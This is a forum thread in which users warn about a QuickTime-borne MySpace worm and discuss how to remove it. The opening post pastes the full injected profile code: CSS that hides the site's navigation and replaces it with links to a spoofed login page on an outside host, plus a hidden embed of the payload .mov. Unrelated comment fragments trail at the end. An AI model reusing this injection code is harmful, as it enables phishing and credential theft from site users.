Urgent! New myspace exploit


Recommended Posts

anyone use myspace? just tonight on a bunch of profiles i see this quicktime .mov file appearing everywhere.

Well it automatically plays and as soon as i view my homepage it has appeared on mine. Anyways what it bassically does is change all the links on the myspace layouts to link to http://almobty.com/css/login.html which is obviously a spoofed myspace login page and MANY people will fall for this. this is obviously trying to steal passwords and isnt just a proof of concept like some past myspace exploits.

You can easily get rid of this by removing the code in your movies sections and removing the junk code in about me section which changes the links.

Im not coder but here is the code :(maybe someone could examine it?)

About Me:

<style type="text/css">
div table td font { display: none }
div div table tr td a.navbar, div div table tr td font { display: none }
.testnav { position:absolute; top: 136px; left:50%; _top: 146px }
</style><div style="z-index:5; background-color: #6698CB; margin-left:-400px; width: 800px" align="center" class="testnav"><div style=""><a href="http://almobty.com/css/login.html" target="" class="navbar">Home</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Browse</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Search</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Invite</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Film</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Mail</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Blog</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Favorites</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Forum</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Groups</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Events</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Videos</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Music</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Comedy</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Classifieds</a></div></div>

Movies

<div style="width: 1px; height: 1px; overflow: hidden; text-indent: -9999px"><embed allowScriptAccess="never" allowNetworking="internal" enableJSURL="false" src=http://almobty.com/css/piAF2iuswo.mov /></div>

The problem is as soon as you visit another profile with it, it comes back and its spreading like wildfire, so maybe remove and keep a low profile for the time being?

http://almobty.com appears to be a foreign website for contracting

Im running firefox 2 (so doesnt only effect IE)

Here is an example:

Theres alot of this crap around lately to do with Myspace...thats why I have stayed away from them and been using Facebook...my mates myspace got accessed like that and he had all his friends deleted and messages sent to people saying obscene things...:(

Looking at the code, it is meant to redo the entire thing... basically redo your entire profile. But there is code in it that does nothing. I think someone modified a hack from the past, and it's gotten out of control.

That imageshack photo is kinda odd... eh?

it is a redirect exploit seemingly enough, the mov is used as means of spreading it adds the css code into your profile and uses it to phish you. That sall, and as far as the site it is being hosted on odds are it is a hacked server, what i would be worried about is if someone takes the spread code and uses it for something else. Thkn abotu it if they are able to get the code to edit yoru profile with a mov file just what else could be done with this

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

yeh, but it writes the javascript through the quicktime file so open the quicktime .mov in notepad, look at the binary followed by "apple text writer plugin"

I got this, Does the users PC become infected with anything?

When I view my profile and click home I get re directed to

http://www.../images/login.html

Which doesnt go anywhere obviously, Has this thing installed anything on my PC?

This has actually been around for a while. I took note of it back in October and thought nothing of it. I even warned people about this .mov exploit and nobody really listened. I guess I should have posted something here, eh? :laugh: . This has happened to me twice now, and yes, I know how to get rid of it. But I'm tired of the insecure status of Myspace, and therefore have deleted my account.

I'm glad someone made this public, as it should be addressed to both Myspace and the people who use it.

Everyone who has contributed to this thread thus far has explained the majority of this exploit. There are several sources of the .mov and I don't think this will be fixed for a while. I suggest that you leave Myspace as soon as possible, people. I'm actually glad this happened to me more than once; now I won't be wasting any MORE time. :laugh:. It's only going to get worse from here on, and we can't really do anything about it.

Ah well. I guess that's how it goes... :p

    • Weirldy, in Texas the age of consent is 17, not 18.
    • DXVK generally performs better on Linux (using Wine/Proton) than on Windows. Because Linux utilizes highly optimized, open-source Vulkan drivers (like RADV/ACO) that were specifically built for AMD Radeon hardware, the translation of Direct3D 9/11 to Vulkan is highly efficient. But if you take the trouble to watch my video, you can see that there are also advantages for Nvidia users. You see that I run Assassin's Creed Odyssey on 4GB RAM and on an i3-3240. What do you think are the minimum system requirements for windows11? For CPU-based rendering, Linux is generally faster than windows11 by about 15% due to lighter background overhead and efficient kernel scheduling.
